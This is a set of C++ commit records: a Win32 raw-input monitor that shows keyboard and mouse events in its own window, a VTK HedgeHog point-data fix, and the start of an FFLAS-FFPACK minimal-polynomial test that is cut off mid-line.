WS_VSCROLL,\n      0, 0, 0, 0, hwnd, NULL, g_hinst, 0);\n\n  RAWINPUTDEVICE dev[2];\n  dev[0].usUsagePage = 1;\n  dev[0].usUsage = 6;\n  dev[0].dwFlags = RIDEV_INPUTSINK;\n  dev[0].hwndTarget = hwnd;\n\n  dev[1].usUsagePage = 1;\n  dev[1].usUsage = 2;\n  dev[1].dwFlags = RIDEV_INPUTSINK;\n  dev[1].hwndTarget = hwnd;\n\n  RegisterRawInputDevices(dev, sizeof(dev) \/ sizeof(dev[0]), sizeof(dev[0]));\n\n  SetTimer(hwnd, IDT_TIMER1, 1000, nullptr);\n\n  return TRUE;\n}\n\/*\n *  OnDestroy\n *      Post a quit message because our application is over when the\n *      user closes this window.\n *\/\nvoid\nOnDestroy(HWND hwnd)\n{\n  RAWINPUTDEVICE dev[2];\n  dev[0].usUsagePage = 1;\n  dev[0].usUsage = 6;\n  dev[0].dwFlags = RIDEV_REMOVE;\n  dev[0].hwndTarget = hwnd;\n\n  dev[1].usUsagePage = 1;\n  dev[1].usUsage = 2;\n  dev[1].dwFlags = RIDEV_REMOVE;\n  dev[1].hwndTarget = hwnd;\n\n  RegisterRawInputDevices(dev, sizeof(dev) \/ sizeof(dev[0]), sizeof(dev[0]));\n\n  KillTimer(hwnd, IDT_TIMER1);\n\n  PostQuitMessage(0);\n}\n\n#define HANDLE_WM_INPUT(hwnd, wParam, lParam, fn) \\\n  ((fn)((hwnd), GET_RAWINPUT_CODE_WPARAM(wParam), \\\n        (HRAWINPUT)(lParam)), 0)\n\nvoid OnInput([[maybe_unused]] HWND hwnd, [[maybe_unused]] WPARAM code, HRAWINPUT hRawInput)\n{\n  UINT dwSize;\n  GetRawInputData(hRawInput, RID_INPUT, nullptr,\n                  &dwSize, sizeof(RAWINPUTHEADER));\n  RAWINPUT *input = (RAWINPUT *)malloc(dwSize);\n  GetRawInputData(hRawInput, RID_INPUT, input,\n                  &dwSize, sizeof(RAWINPUTHEADER));\n  if (input->header.dwType == RIM_TYPEKEYBOARD) {\n    TCHAR prefix[80];\n    prefix[0] = TEXT('\\0');\n    if (input->data.keyboard.Flags & RI_KEY_E0) {\n        StringCchCat(prefix, ARRAYSIZE(prefix), TEXT(\"E0 \"));\n    }\n    if (input->data.keyboard.Flags & RI_KEY_E1) {\n        StringCchCat(prefix, ARRAYSIZE(prefix), TEXT(\"E1 \"));\n    }\n\n    TCHAR buffer[256];\n    StringCchPrintf(buffer, ARRAYSIZE(buffer),\n        TEXT(\"%p, msg=%04x, vk=%04x, scanCode=%s%02x, %s\"),\n        input->header.hDevice,\n        input->data.keyboard.Message,\n        input->data.keyboard.VKey,\n        prefix,\n        input->data.keyboard.MakeCode,\n        (input->data.keyboard.Flags & RI_KEY_BREAK)\n            ? TEXT(\"release\") : TEXT(\"press\"));\n    ListBox_AddString(g_hwndChild, buffer);\n  } else if (input->header.dwType == RIM_TYPEMOUSE) {\n    if (input->data.mouse.usButtonFlags != 0) { \/\/ print only transitions of the mouse buttons\n        TCHAR buffer[256];\n        StringCchPrintf(buffer, ARRAYSIZE(buffer),\n          TEXT(\"MOUSE %p, usFlags 0x%04x, usButtonFlags 0x%04x, usButtonData %d, ulRawButtons 0x%08x, lLastX %d, lLastY &d, ulExtraInformation 0x%08x\"),\n          input->header.hDevice,\n          input->data.mouse.usFlags,\n          input->data.mouse.usButtonFlags,\n          static_cast<SHORT>(input->data.mouse.usButtonData),\n          input->data.mouse.ulRawButtons,\n          input->data.mouse.lLastX,\n          input->data.mouse.lLastY,\n          input->data.mouse.ulExtraInformation\n        );\n        ListBox_AddString(g_hwndChild, buffer);\n    }\n  }\n  DefRawInputProc(&input, 1, sizeof(RAWINPUTHEADER));\n  free(input);\n}\n\n\/*\n *  PaintContent\n *      Interesting things will be painted here eventually.\n *\/\nvoid\nPaintContent([[maybe_unused]] HWND hwnd, [[maybe_unused]] PAINTSTRUCT *pps)\n{\n}\n\/*\n *  OnPaint\n *      Paint the content as part of the paint cycle.\n *\/\nvoid\nOnPaint(HWND hwnd)\n{\n    PAINTSTRUCT ps;\n    BeginPaint(hwnd, &ps);\n    PaintContent(hwnd, &ps);\n    EndPaint(hwnd, &ps);\n}\n\/*\n *  OnPrintClient\n *      Paint the content as requested by USER.\n *\/\nvoid\nOnPrintClient(HWND hwnd, HDC hdc)\n{\n    PAINTSTRUCT ps;\n    ps.hdc = hdc;\n    GetClientRect(hwnd, &ps.rcPaint);\n    PaintContent(hwnd, &ps);\n}\n\/*\n *  Window procedure\n *\/\nLRESULT CALLBACK\nWndProc(HWND hwnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)\n{\n    switch (uiMsg) {\n    HANDLE_MSG(hwnd, WM_CREATE, OnCreate);\n    HANDLE_MSG(hwnd, WM_SIZE, OnSize);\n    HANDLE_MSG(hwnd, WM_DESTROY, OnDestroy);\n    HANDLE_MSG(hwnd, WM_PAINT, OnPaint);\n    HANDLE_MSG(hwnd, WM_INPUT, OnInput);\n    case WM_PRINTCLIENT: OnPrintClient(hwnd, (HDC)wParam); return 0;\n\n    case WM_TIMER: ListBox_AddString(g_hwndChild, TEXT(\"TIMER\")); return 0;\n\n    }\n    return DefWindowProc(hwnd, uiMsg, wParam, lParam);\n}\nBOOL\nInitApp(void)\n{\n    WNDCLASS wc;\n    wc.style = 0;\n    wc.lpfnWndProc = WndProc;\n    wc.cbClsExtra = 0;\n    wc.cbWndExtra = 0;\n    wc.hInstance = g_hinst;\n    wc.hIcon = NULL;\n    wc.hCursor = LoadCursor(NULL, IDC_ARROW);\n    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);\n    wc.lpszMenuName = NULL;\n    wc.lpszClassName = TEXT(\"Scratch\");\n    if (!RegisterClass(&wc)) return FALSE;\n    InitCommonControls();               \/* In case we use a common control *\/\n    return TRUE;\n}\nint WINAPI WinMain(HINSTANCE hinst, [[maybe_unused]] HINSTANCE hinstPrev,\n                   [[maybe_unused]] LPSTR lpCmdLine, int nShowCmd)\n{\n    MSG msg;\n    HWND hwnd;\n    g_hinst = hinst;\n    if (!InitApp()) return 0;\n    if (SUCCEEDED(CoInitialize(NULL))) {\/* In case we use COM *\/\n        hwnd = CreateWindow(\n            TEXT(\"Scratch\"),                \/* Class Name *\/\n            TEXT(\"Scratch\"),                \/* Title *\/\n            WS_OVERLAPPEDWINDOW,            \/* Style *\/\n            CW_USEDEFAULT, CW_USEDEFAULT,   \/* Position *\/\n            CW_USEDEFAULT, CW_USEDEFAULT,   \/* Size *\/\n            NULL,                           \/* Parent *\/\n            NULL,                           \/* No menu *\/\n            hinst,                          \/* Instance *\/\n            0);                             \/* No special parameters *\/\n        ShowWindow(hwnd, nShowCmd);\n        while (GetMessage(&msg, NULL, 0, 0)) {\n            TranslateMessage(&msg);\n            DispatchMessage(&msg);\n        }\n        CoUninitialize();\n    }\n    return 0;\n}\n<commit_msg>Print buttons\/keys on device<commit_after>\/\/ g++ -Wall -Wextra -std=c++17 -mwindows activity_monitor.cpp -lcomctl32 -lole32 -o activity_monitor.exe\n\n#define STRICT\n#include <windows.h>\n#include <windowsx.h>\n#include <ole2.h>\n#include <commctrl.h>\n#include <shlwapi.h>\n#include <strsafe.h>\n#include <assert.h>\n\nconstexpr UINT_PTR IDT_TIMER1 = 1;\n\nHINSTANCE g_hinst;                          \/* This application's HINSTANCE *\/\nHWND g_hwndChild;                           \/* Optional child window *\/\n\/*\n *  OnSize\n *      If we have an inner child, resize it to fit.\n *\/\nvoid\nOnSize([[maybe_unused]] HWND hwnd, [[maybe_unused]] UINT state, int cx, int cy)\n{\n    if (g_hwndChild) {\n        MoveWindow(g_hwndChild, 0, 0, cx, cy, TRUE);\n    }\n}\n\/*\n *  OnCreate\n *      Applications will typically override this and maybe even\n *      create a child window.\n *\/\nBOOL\nOnCreate(HWND hwnd, [[maybe_unused]] LPCREATESTRUCT lpcs)\n{\n  g_hwndChild = CreateWindow(TEXT(\"listbox\"), NULL,\n      LBS_HASSTRINGS | WS_CHILD | WS_VISIBLE | WS_VSCROLL,\n      0, 0, 0, 0, hwnd, NULL, g_hinst, 0);\n\n  RAWINPUTDEVICE dev[2];\n  dev[0].usUsagePage = 1;\n  dev[0].usUsage = 6;\n  dev[0].dwFlags = RIDEV_INPUTSINK;\n  dev[0].hwndTarget = hwnd;\n\n  dev[1].usUsagePage = 1;\n  dev[1].usUsage = 2;\n  dev[1].dwFlags = RIDEV_INPUTSINK;\n  dev[1].hwndTarget = hwnd;\n\n  RegisterRawInputDevices(dev, sizeof(dev) \/ sizeof(dev[0]), sizeof(dev[0]));\n\n  SetTimer(hwnd, IDT_TIMER1, 1000, nullptr);\n\n  return TRUE;\n}\n\/*\n *  OnDestroy\n *      Post a quit message because our application is over when the\n *      user closes this window.\n *\/\nvoid\nOnDestroy(HWND hwnd)\n{\n  RAWINPUTDEVICE dev[2];\n  dev[0].usUsagePage = 1;\n  dev[0].usUsage = 6;\n  dev[0].dwFlags = RIDEV_REMOVE;\n  dev[0].hwndTarget = hwnd;\n\n  dev[1].usUsagePage = 1;\n  dev[1].usUsage = 2;\n  dev[1].dwFlags = RIDEV_REMOVE;\n  dev[1].hwndTarget = hwnd;\n\n  RegisterRawInputDevices(dev, sizeof(dev) \/ sizeof(dev[0]), sizeof(dev[0]));\n\n  KillTimer(hwnd, IDT_TIMER1);\n\n  PostQuitMessage(0);\n}\n\n#define HANDLE_WM_INPUT(hwnd, wParam, lParam, fn) \\\n  ((fn)((hwnd), GET_RAWINPUT_CODE_WPARAM(wParam), \\\n        (HRAWINPUT)(lParam)), 0)\n\nvoid OnInput([[maybe_unused]] HWND hwnd, [[maybe_unused]] WPARAM code, HRAWINPUT hRawInput)\n{\n  UINT dwSize;\n  GetRawInputData(hRawInput, RID_INPUT, nullptr,\n                  &dwSize, sizeof(RAWINPUTHEADER));\n  RAWINPUT *input = (RAWINPUT *)malloc(dwSize);\n  GetRawInputData(hRawInput, RID_INPUT, input,\n                  &dwSize, sizeof(RAWINPUTHEADER));\n  if (input->header.dwType == RIM_TYPEKEYBOARD) {\n    TCHAR prefix[80];\n    prefix[0] = TEXT('\\0');\n    if (input->data.keyboard.Flags & RI_KEY_E0) {\n        StringCchCat(prefix, ARRAYSIZE(prefix), TEXT(\"E0 \"));\n    }\n    if (input->data.keyboard.Flags & RI_KEY_E1) {\n        StringCchCat(prefix, ARRAYSIZE(prefix), TEXT(\"E1 \"));\n    }\n\n    RID_DEVICE_INFO device_info{};\n    UINT cbSize = sizeof(device_info);\n    const UINT ret = GetRawInputDeviceInfoA(input->header.hDevice, RIDI_DEVICEINFO, &device_info, &cbSize);\n    if (ret == 0 || ret == static_cast<UINT>(-1)) {\n        assert(false);\n    }\n    if (ret != sizeof(device_info)) {\n        assert(false);\n    }\n    \/\/ GetRawInputDeviceInfoA reported success\n    if (device_info.cbSize != sizeof(device_info) || device_info.dwType != input->header.dwType) {\n        assert(false);\n    }\n\n    TCHAR buffer[256];\n    StringCchPrintf(buffer, ARRAYSIZE(buffer),\n        TEXT(\"%p, msg=%04x, vk=%04x, scanCode=%s%02x, %s, dwNumberOfFunctionKeys %u, dwNumberOfIndicators %u, dwNumberOfKeysTotal %u\"),\n        input->header.hDevice,\n        input->data.keyboard.Message,\n        input->data.keyboard.VKey,\n        prefix,\n        input->data.keyboard.MakeCode,\n        (input->data.keyboard.Flags & RI_KEY_BREAK)\n            ? TEXT(\"release\") : TEXT(\"press\"),\n        device_info.keyboard.dwNumberOfFunctionKeys,\n        device_info.keyboard.dwNumberOfIndicators,\n        device_info.keyboard.dwNumberOfKeysTotal);\n    ListBox_AddString(g_hwndChild, buffer);\n  } else if (input->header.dwType == RIM_TYPEMOUSE) {\n    if (input->data.mouse.usButtonFlags != 0) { \/\/ print only transitions of the mouse buttons\n        RID_DEVICE_INFO device_info{};\n        UINT cbSize = sizeof(device_info);\n        const UINT ret = GetRawInputDeviceInfoA(input->header.hDevice, RIDI_DEVICEINFO, &device_info, &cbSize);\n        if (ret == 0 || ret == static_cast<UINT>(-1)) {\n            assert(false);\n        }\n        if (ret != sizeof(device_info)) {\n            assert(false);\n        }\n        \/\/ GetRawInputDeviceInfoA reported success\n        if (device_info.cbSize != sizeof(device_info) || device_info.dwType != input->header.dwType) {\n            assert(false);\n        }\n\n        TCHAR buffer[256];\n        StringCchPrintf(buffer, ARRAYSIZE(buffer),\n          TEXT(\"MOUSE %p, usFlags 0x%04x, usButtonFlags 0x%04x, usButtonData %d, ulRawButtons 0x%08x, lLastX %d, lLastY %d, ulExtraInformation 0x%08x, dwNumberOfButtons %u\"),\n          input->header.hDevice,\n          input->data.mouse.usFlags,\n          input->data.mouse.usButtonFlags,\n          static_cast<SHORT>(input->data.mouse.usButtonData),\n          input->data.mouse.ulRawButtons,\n          input->data.mouse.lLastX,\n          input->data.mouse.lLastY,\n          input->data.mouse.ulExtraInformation,\n          device_info.mouse.dwNumberOfButtons\n        );\n        ListBox_AddString(g_hwndChild, buffer);\n    }\n  }\n  DefRawInputProc(&input, 1, sizeof(RAWINPUTHEADER));\n  free(input);\n}\n\n\/*\n *  PaintContent\n *      Interesting things will be painted here eventually.\n *\/\nvoid\nPaintContent([[maybe_unused]] HWND hwnd, [[maybe_unused]] PAINTSTRUCT *pps)\n{\n}\n\/*\n *  OnPaint\n *      Paint the content as part of the paint cycle.\n *\/\nvoid\nOnPaint(HWND hwnd)\n{\n    PAINTSTRUCT ps;\n    BeginPaint(hwnd, &ps);\n    PaintContent(hwnd, &ps);\n    EndPaint(hwnd, &ps);\n}\n\/*\n *  OnPrintClient\n *      Paint the content as requested by USER.\n *\/\nvoid\nOnPrintClient(HWND hwnd, HDC hdc)\n{\n    PAINTSTRUCT ps;\n    ps.hdc = hdc;\n    GetClientRect(hwnd, &ps.rcPaint);\n    PaintContent(hwnd, &ps);\n}\n\/*\n *  Window procedure\n *\/\nLRESULT CALLBACK\nWndProc(HWND hwnd, UINT uiMsg, WPARAM wParam, LPARAM lParam)\n{\n    switch (uiMsg) {\n    HANDLE_MSG(hwnd, WM_CREATE, OnCreate);\n    HANDLE_MSG(hwnd, WM_SIZE, OnSize);\n    HANDLE_MSG(hwnd, WM_DESTROY, OnDestroy);\n    HANDLE_MSG(hwnd, WM_PAINT, OnPaint);\n    HANDLE_MSG(hwnd, WM_INPUT, OnInput);\n    case WM_PRINTCLIENT: OnPrintClient(hwnd, (HDC)wParam); return 0;\n\n    case WM_TIMER: ListBox_AddString(g_hwndChild, TEXT(\"TIMER\")); return 0;\n\n    }\n    return DefWindowProc(hwnd, uiMsg, wParam, lParam);\n}\nBOOL\nInitApp(void)\n{\n    WNDCLASS wc;\n    wc.style = 0;\n    wc.lpfnWndProc = WndProc;\n    wc.cbClsExtra = 0;\n    wc.cbWndExtra = 0;\n    wc.hInstance = g_hinst;\n    wc.hIcon = NULL;\n    wc.hCursor = LoadCursor(NULL, IDC_ARROW);\n    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);\n    wc.lpszMenuName = NULL;\n    wc.lpszClassName = TEXT(\"Scratch\");\n    if (!RegisterClass(&wc)) return FALSE;\n    InitCommonControls();               \/* In case we use a common control *\/\n    return TRUE;\n}\nint WINAPI WinMain(HINSTANCE hinst, [[maybe_unused]] HINSTANCE hinstPrev,\n                   [[maybe_unused]] LPSTR lpCmdLine, int nShowCmd)\n{\n    MSG msg;\n    HWND hwnd;\n    g_hinst = hinst;\n    if (!InitApp()) return 0;\n    if (SUCCEEDED(CoInitialize(NULL))) {\/* In case we use COM *\/\n        hwnd = CreateWindow(\n            TEXT(\"Scratch\"),                \/* Class Name *\/\n            TEXT(\"Scratch\"),                \/* Title *\/\n            WS_OVERLAPPEDWINDOW,            \/* Style *\/\n            CW_USEDEFAULT, CW_USEDEFAULT,   \/* Position *\/\n            CW_USEDEFAULT, CW_USEDEFAULT,   \/* Size *\/\n            NULL,                           \/* Parent *\/\n            NULL,                           \/* No menu *\/\n            hinst,                          \/* Instance *\/\n            0);                             \/* No special parameters *\/\n        ShowWindow(hwnd, nShowCmd);\n        while (GetMessage(&msg, NULL, 0, 0)) {\n            TranslateMessage(&msg);\n            DispatchMessage(&msg);\n        }\n        CoUninitialize();\n    }\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkHedgeHog.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\nCopyright (c) 1993-2001 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n   this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n   of any contributors may be used to endorse or promote products derived\n   from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n   misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include \"vtkHedgeHog.h\"\n#include \"vtkObjectFactory.h\"\n\n\/\/------------------------------------------------------------------------\nvtkHedgeHog* vtkHedgeHog::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkHedgeHog\");\n  if(ret)\n    {\n    return (vtkHedgeHog*)ret;\n    }\n  \/\/ If the factory was unable to create the object, then create it here.\n  return new vtkHedgeHog;\n}\n\nvtkHedgeHog::vtkHedgeHog()\n{\n  this->ScaleFactor = 1.0;\n  this->VectorMode = VTK_USE_VECTOR;\n}\n\nvoid vtkHedgeHog::Execute()\n{\n  vtkDataSet *input= this->GetInput();\n  vtkIdType numPts;\n  vtkPoints *newPts;\n  vtkPointData *pd;\n  vtkDataArray *inVectors;\n  vtkDataArray *inNormals;\n  vtkIdType ptId;\n  int i;\n  vtkIdType pts[2];\n  vtkCellArray *newLines;\n  float *x, *v;\n  float newX[3];\n  vtkPolyData *output = this->GetOutput();\n  vtkPointData *outputPD = output->GetPointData();\n  \n  \/\/ Initialize\n  \/\/\n  numPts = input->GetNumberOfPoints();\n  pd = input->GetPointData();\n  inVectors = pd->GetActiveVectors();\n  if ( numPts < 1 )\n    {\n    vtkErrorMacro(<<\"No input data\");\n    return;\n    }\n  if ( !inVectors && this->VectorMode == VTK_USE_VECTOR)\n    {\n    vtkErrorMacro(<<\"No vectors in input data\");\n    return;\n    }\n\n  inNormals = pd->GetActiveNormals();\n  if ( !inNormals && this->VectorMode == VTK_USE_NORMAL)\n    {\n    vtkErrorMacro(<<\"No normals in input data\");\n    return;\n    }\n  outputPD->CopyAllocate(pd, 2*numPts);\n\n  newPts = vtkPoints::New(); newPts->SetNumberOfPoints(2*numPts);\n  newLines = vtkCellArray::New();\n  newLines->Allocate(newLines->EstimateSize(numPts,2));\n\n  \/\/ Loop over all points, creating oriented line\n  \/\/\n  for (ptId=0; ptId < numPts; ptId++)\n    {\n    if ( ! (ptId % 10000) ) \/\/abort\/progress\n      {\n      this->UpdateProgress ((float)ptId\/numPts);\n      if (this->GetAbortExecute())\n\t{\n\tbreak;\n\t}\n      }\n    \n    x = input->GetPoint(ptId);\n    if (this->VectorMode == VTK_USE_VECTOR)\n      {\n      v = inVectors->GetTuple(ptId);\n      }\n    else\n      {\n      v = inNormals->GetTuple(ptId);\n      }\n    for (i=0; i<3; i++)\n      {\n      newX[i] = x[i] + this->ScaleFactor * v[i];\n      }\n\n    pts[0] = ptId;\n    pts[1] = ptId + numPts;;\n\n    newPts->SetPoint(pts[0], x);\n    newPts->SetPoint(pts[1], newX);\n\n    newLines->InsertNextCell(2,pts);\n\n    outputPD->CopyData(pd,ptId,pts[0]);\n    }\n\n  \/\/ Update ourselves and release memory\n  \/\/\n  output->SetPoints(newPts);\n  newPts->Delete();\n\n  output->SetLines(newLines);\n  newLines->Delete();\n}\n\nvoid vtkHedgeHog::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkDataSetToPolyDataFilter::PrintSelf(os,indent);\n\n  os << indent << \"Scale Factor: \" << this->ScaleFactor << \"\\n\";\n  os << indent << \"Orient Mode: \" << (this->VectorMode == VTK_USE_VECTOR ? \n                                       \"Orient by vector\\n\" : \"Orient by normal\\n\");\n}\n<commit_msg>Oops.<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkHedgeHog.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\nCopyright (c) 1993-2001 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n   this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n   of any contributors may be used to endorse or promote products derived\n   from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n   misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include \"vtkHedgeHog.h\"\n#include \"vtkObjectFactory.h\"\n\n\/\/------------------------------------------------------------------------\nvtkHedgeHog* vtkHedgeHog::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkHedgeHog\");\n  if(ret)\n    {\n    return (vtkHedgeHog*)ret;\n    }\n  \/\/ If the factory was unable to create the object, then create it here.\n  return new vtkHedgeHog;\n}\n\nvtkHedgeHog::vtkHedgeHog()\n{\n  this->ScaleFactor = 1.0;\n  this->VectorMode = VTK_USE_VECTOR;\n}\n\nvoid vtkHedgeHog::Execute()\n{\n  vtkDataSet *input= this->GetInput();\n  vtkIdType numPts;\n  vtkPoints *newPts;\n  vtkPointData *pd;\n  vtkDataArray *inVectors;\n  vtkDataArray *inNormals;\n  vtkIdType ptId;\n  int i;\n  vtkIdType pts[2];\n  vtkCellArray *newLines;\n  float *x, *v;\n  float newX[3];\n  vtkPolyData *output = this->GetOutput();\n  vtkPointData *outputPD = output->GetPointData();\n  \n  \/\/ Initialize\n  \/\/\n  numPts = input->GetNumberOfPoints();\n  pd = input->GetPointData();\n  inVectors = pd->GetActiveVectors();\n  if ( numPts < 1 )\n    {\n    vtkErrorMacro(<<\"No input data\");\n    return;\n    }\n  if ( !inVectors && this->VectorMode == VTK_USE_VECTOR)\n    {\n    vtkErrorMacro(<<\"No vectors in input data\");\n    return;\n    }\n\n  inNormals = pd->GetActiveNormals();\n  if ( !inNormals && this->VectorMode == VTK_USE_NORMAL)\n    {\n    vtkErrorMacro(<<\"No normals in input data\");\n    return;\n    }\n  outputPD->CopyAllocate(pd, 2*numPts);\n\n  newPts = vtkPoints::New(); newPts->SetNumberOfPoints(2*numPts);\n  newLines = vtkCellArray::New();\n  newLines->Allocate(newLines->EstimateSize(numPts,2));\n\n  \/\/ Loop over all points, creating oriented line\n  \/\/\n  for (ptId=0; ptId < numPts; ptId++)\n    {\n    if ( ! (ptId % 10000) ) \/\/abort\/progress\n      {\n      this->UpdateProgress ((float)ptId\/numPts);\n      if (this->GetAbortExecute())\n\t{\n\tbreak;\n\t}\n      }\n    \n    x = input->GetPoint(ptId);\n    if (this->VectorMode == VTK_USE_VECTOR)\n      {\n      v = inVectors->GetTuple(ptId);\n      }\n    else\n      {\n      v = inNormals->GetTuple(ptId);\n      }\n    for (i=0; i<3; i++)\n      {\n      newX[i] = x[i] + this->ScaleFactor * v[i];\n      }\n\n    pts[0] = ptId;\n    pts[1] = ptId + numPts;;\n\n    newPts->SetPoint(pts[0], x);\n    newPts->SetPoint(pts[1], newX);\n\n    newLines->InsertNextCell(2,pts);\n\n    outputPD->CopyData(pd,ptId,pts[0]);\n    outputPD->CopyData(pd,ptId,pts[1]);\n    }\n\n  \/\/ Update ourselves and release memory\n  \/\/\n  output->SetPoints(newPts);\n  newPts->Delete();\n\n  output->SetLines(newLines);\n  newLines->Delete();\n}\n\nvoid vtkHedgeHog::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkDataSetToPolyDataFilter::PrintSelf(os,indent);\n\n  os << indent << \"Scale Factor: \" << this->ScaleFactor << \"\\n\";\n  os << indent << \"Orient Mode: \" << (this->VectorMode == VTK_USE_VECTOR ? \n                                       \"Orient by vector\\n\" : \"Orient by normal\\n\");\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- mode: C++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- *\/\n\/\/ vim:sts=4:sw=4:ts=4:noet:sr:cino=>s,f0,{0,g0,(0,\\:0,t0,+0,=s\n\n\/*\n * Copyright (C) FFLAS-FFPACK\n * Written by David Lucas\n * This file is Free Software and part of FFLAS-FFPACK.\n *\n * ========LICENCE========\n * This file is part of the library FFLAS-FFPACK.\n *\n * FFLAS-FFPACK is free software: you can redistribute it and\/or modify\n * it under the terms of the  GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n * ========LICENCE========\n *.\n *\/\n\n\/\/--------------------------------------------------------------------------\n\/\/                        Test for minpoly\n\/\/\n\/\/--------------------------------------------------------------------------\n\/\/ David Lucas\n\/\/-------------------------------------------------------------------------\n\n#include <iomanip>\n#include <iostream>\n\n#include \"fflas-ffpack\/fflas-ffpack-config.h\"\n#include \"fflas-ffpack\/utils\/fflas_randommatrix.h\"\n#include \"fflas-ffpack\/ffpack\/ffpack.h\"\n#include \"fflas-ffpack\/fflas\/fflas.h\"\n#include \"fflas-ffpack\/utils\/args-parser.h\"\n#include \"test-utils.h\"\n#include <givaro\/modular-integer.h>\n#include <givaro\/modular.h>\n#include <givaro\/modular-balanced.h>\n#include <givaro\/givpoly1.h>\n\nusing namespace std;\nusing namespace FFPACK;\nusing Givaro::Modular;\nusing Givaro::ModularBalanced;\n\ntypedef Givaro::ModularBalanced<double> Field;\ntypedef vector<Field::Element> Polynomial;\n\ntemplate<typename Field, class RandIter>\nbool check_minpoly(const Field &F, size_t n, RandIter& G)\n{\n\tcout<<\"Entering check_minpoly\";\n\tcout<<endl;\n\ttypedef typename Field::Element Element;\n\tsize_t lda, ldv;\n\tElement *A, *V;\n\n\t\/\/Default\n\tlda = n;\n\tldv = n; \n\n\t\/*Create variables used for testing (matrices, vectors and polynomials) *\/\n\n    A = FFLAS::fflas_new(F, n, n);\n    V = FFLAS::fflas_new(F, n+1, n);\n    Polynomial minP;\n\n\n    FFPACK::RandomMatrix (F, n, n, A, lda, G);\n\n\tFFPACK::NonZeroRandomMatrix(F, 1, n, V, n, G); \n\n\tFFPACK::MatVecMinPoly(F, minP, n, A, lda, V, ldv); \/\/3rd input argument is the matrix order\n\n\t\/*Check that minP is monic*\/\n\n\tsize_t deg = minP.size() - 1;\n\tif(!(minP[deg]==F.one))\n\t\treturn false;\n\n\t\/*Check that minP(A).V is zero*\/\n\n\n\tElement *E, *E_tmp;\n    E = FFLAS::fflas_new(F, n+1, n);\n\tE_tmp = 